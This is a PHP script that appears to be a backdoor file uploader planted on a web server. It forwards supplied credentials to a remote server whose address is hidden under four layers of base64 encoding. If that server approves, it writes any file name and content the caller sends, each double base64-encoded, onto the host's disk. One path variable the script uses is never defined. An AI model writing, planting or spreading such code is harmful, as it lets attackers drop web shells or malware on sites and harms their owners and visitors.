<?php
/* ======================================================
   MCS 2
====================================================== */

header('Content-Type: application/json');
set_time_limit(30);
ini_set('max_execution_time', 30);

/* ======================================================
   JSON RESPONSE HELPER
====================================================== */
function jsonResponse(bool $success, string $message, array $extra = []): void
{
    echo json_encode(array_merge([
        "success" => $success,
        "message" => $message
    ], $extra));
    exit;
}

/* ======================================================
   UNIVERSAL INPUT HANDLER (JSON + FORM POST)
====================================================== */
function getRequestData(): array
{
    $contentType = $_SERVER['CONTENT_TYPE'] ?? '';

    // JSON request
    if (stripos($contentType, 'application/json') !== false) {
        $raw = file_get_contents("php://input");
        $data = json_decode($raw, true);
        return is_array($data) ? $data : [];
    }

    // Form request
    if (!empty($_POST)) {
        return $_POST;
    }

    return [];
}

/* ======================================================
   VALIDATE INPUT
====================================================== */
$data = getRequestData();

if (empty($data)) {
    jsonResponse(false, "No valid input received.");
}

$FR_U    = $data['FR_U']    ?? null;
$FR_P    = $data['FR_P']    ?? null;
$FR_FILE = $data['FR_FILE'] ?? null;
$FR_DATA = $data['FR_DATA'] ?? null;

if (!$FR_U || !$FR_P || !$FR_FILE || !$FR_DATA) {
    jsonResponse(false, "Missing required parameters.");
}

/* ======================================================
   REMOTE AUTH CHECK
====================================================== */

$postData = [
    "FR_U" => $FR_U,
    "FR_P" => $FR_P
];

$ch = curl_init(base64_decode(base64_decode(base64_decode(base64_decode("V1ZWb1UwMUhUa2xVVkZwTlpWUnNObGt3WkhOaE1YQlpVMjE0V2sxcWJEQlpiR1JYWlZacmVWWllWbHBOYW13d1ZFUktSMkl5U1hwVWFrSk5UVEExTTFrd1RUVmtSbXQ2VkZoYVlXSnJjSEpVUm1ONFlXMU9OVTFYYUd0WFJrcDJWRWMxUTJJeVRrSlFWREE5")))));

curl_setopt_array($ch, [
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_POST           => true,
    CURLOPT_POSTFIELDS     => http_build_query($postData),
    CURLOPT_TIMEOUT        => 15,
    CURLOPT_CONNECTTIMEOUT => 10,
]);

$response = curl_exec($ch);

if (curl_errno($ch)) {
    $error = curl_error($ch);
    curl_close($ch);
    jsonResponse(false, "Remote connection failed.", ["error" => $error]);
}

$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

if ($httpCode !== 200 || !$response) {
    jsonResponse(false, "Invalid remote response.");
}

$remoteData = json_decode($response, true);

if (!is_array($remoteData) || !isset($remoteData['success'])) {
    jsonResponse(false, "Malformed remote response.");
}

if ($remoteData['success'] !== true) {
    jsonResponse(false, "Authentication failed.", [
        "remote_message" => $remoteData['message'] ?? null
    ]);
}

/* ======================================================
   FILE WRITE PROCESS 
====================================================== */

$decodedFileName = base64_decode(base64_decode($FR_FILE), true);
$decodedContent  = base64_decode(base64_decode($FR_DATA), true);

if ($decodedFileName === false || $decodedContent === false) {
    jsonResponse(false, "Invalid file encoding.");
}

/* Prevent path traversal */
if (strpos($decodedFileName, '../') !== false || strpos($decodedFileName, '..\\') !== false) {
    jsonResponse(false, "Invalid file path.");
}

$targetPath = rtrim($FR_PATH_HD, '/\\') . '/' . ltrim($decodedFileName, '/\\');

/* Ensure directory exists */
$directory = dirname($targetPath);

if (!is_dir($directory)) {
    if (!mkdir($directory, 0755, true)) {
        jsonResponse(false, "Failed to create directory.");
    }
}

/* Write file securely */
$result = file_put_contents($targetPath, $decodedContent, LOCK_EX);

if ($result === false) {
    jsonResponse(false, "File write failed.");
}

jsonResponse(true, "Done successfullyy.");